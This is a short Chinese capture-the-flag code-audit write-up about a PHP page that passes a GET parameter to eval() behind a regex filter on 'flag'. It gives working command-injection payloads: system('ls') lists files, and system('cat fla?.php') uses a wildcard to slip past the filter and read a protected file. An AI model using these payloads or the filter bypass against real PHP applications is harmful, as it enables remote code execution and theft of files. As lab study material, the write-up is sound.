代码审计下
<?phperror_reporting(0);if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}//这里对flag进行了正则匹配过滤}else{highlight_file(__FILE__);}
通过
GET请求传递参数,进行代码执行,绕过正则过滤即可
#查看当前目录下文件
?c=system('ls');

- 发现有
flag.php,但是正则过滤了flag,这里可以用通配符来绕过
?c=system('cat fla?.php');
#php没有显示要查看源代码
#也可以重命名绕过

